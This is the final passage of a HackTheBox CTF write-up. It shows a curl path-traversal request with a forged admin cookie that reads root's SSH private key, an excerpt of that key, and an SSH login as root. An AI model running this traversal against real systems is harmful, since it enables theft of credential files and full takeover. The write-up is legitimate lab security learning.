Among other things a good idea is to try the LFI vulnerability we found at the beginning to see if this updated version is still vulnerable and runs with higher privileges thanks to our admin cookie.
And… Bingo!

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ curl --path-as-is "http://127.0.0.1:8088/admin/view/../../root/.ssh/id_rsa" --cookie "user_id=feb0765bda04614d2f52acc15414e80afb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef"
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvBdEECQOhzxNhtcyq8/TU6T1hbSK2WYbpF3OBMlCKUeh5Z62
i9RmFG1BVU5i7IMAVelL92WrGgYXfp2A9oIeLugEIjGcqAkK0aqWM6PnaSvGsnzj
wmncPtNqudxWMPMozOc5baf9RIWDGG84KZrhk+FMt75amL6uFgz/ztXsHAotrBF8
[...]
pUY3RgECgYEAyWrVpT9rI4j2pDC/ht54dtCltxw+jcZp5F57IsAy7ldlsefuwoNr
GWUYBeBWuK8vx14XYNvMt45eg/GaU02VSoczuNPIvOoKbrH3+BXK290zxvwznqTS
oggFxgjTq+oAawHPmDGDrWgqoa/Aecd6C0t94Tv7avfE9ZBJ4QWMsms=
-----END RSA PRIVATE KEY-----
1
2
3
4
5
[[email protected] ~]$ ssh [email protected] -i id_rsa

Last login: Wed Jan 26 16:38:01 2022
[email protected]:~# cat root.txt
3c8cxxxxxxxxxx4eee585

References

HQL for Pentesters
Attacking ECB
ECB Byte at a Time


That’s it folks! As always do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



CTFHackTheBoxInsane Box
, , , , , , , , , , , ,